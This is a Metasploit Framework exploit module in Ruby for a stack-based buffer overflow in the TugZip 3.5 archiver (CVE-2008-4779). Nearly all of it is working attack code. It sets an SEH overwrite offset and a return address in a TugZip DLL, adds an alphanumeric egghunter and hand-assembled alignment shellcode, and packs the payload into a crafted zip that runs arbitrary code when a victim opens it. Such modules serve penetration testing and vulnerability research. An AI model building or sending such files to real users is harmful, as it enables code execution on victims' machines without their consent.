##
# $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow vulnerability
                in the latest version 3.5 of TugZip archiving utility.
                In order to trigger the vulnerability, an attacker must convince someone
                to load a specially crafted zip file with TugZip by double click or file open.
                By doing so, an attacker can execute arbitrary code as the victim user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Stefan Marin', # Vulnerability discovery
                    'Lincoln', # Corelan team. Original exploit
                    'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                    'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
                ],
            'Version'        => '$Revision: 13868 $',
            'References'     =>
                [
                    [ 'OSVDB', '49371' ],
                    [ 'CVE', '2008-4779' ],
                    [ 'BID', '17432' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
                ],
            'Platform'       => [ 'win' ],
            'Payload'        =>
                {
                    'BadChars'      => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
                    'DisableNops'   => true, # no need
                    'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'EDI', # Egghunter jmp EDI
                        }
                },

            'Targets'        =>
                [
                    [
                        'Universal',
                        {
                            'Ret'    => 0x7e0c307e,
                            # 5.00.2147.1 [ztvcabinet.dll]
                            # POP EBX > POP EBP > RETN
                            'Offset' => 372, # to nseh
                        }
                    ],
                ],
            'DislosureDate' => 'Oct 28 2008',
            'DefaultTarget'  => 0))

            register_options(
            [
                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
            ], self.class)

    end

    def exploit

        # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
        # base register ESI
        hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
        hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
        eggtag = 'w00t' * 2

        getpc_asm = %q{
            popad
            popad
            popad
            popad
            popad
            pop ebx
        }

        # Align EBX for hunter
        alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

        # Align for ESI + factoring mangled chars
        alignment << "\x89\x05"              # jmp short (5 bytes) to 'jmp back' at end
        alignment << "\x5e"                  # pop esi
        alignment << "\x41"                  # nop (inc ecx)
        alignment << "\x98\x99"              # call esi
        alignment << "\x41"                  # nop (inc ecx)
        alignment << "\x8a\x94\x98\x98\x98"  # jmp back to pop esi

        getpc_asm = %q{
            popad
            pop esp
            inc eax
            inc eax
        }

        # Realign stack pointer
        nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

        seh = [target.ret].pack("V*")

        sploit = rand_text_alpha(target['Offset'])
        sploit << nseh << seh
        sploit << alignment
        sploit << hunter
        sploit << eggtag << payload.encoded

        zip = Rex::Zip::Archive.new
        xtra = [0xdac0ffee].pack('V')
        comment = [0xbadc0ded].pack('V')
        zip.add_file(sploit, xtra, comment)

        # Create the file
        print_status("Creating '#{datastore['FILENAME']}' file...")

        file_create(zip.pack)
    end

end


# [2011-10-11]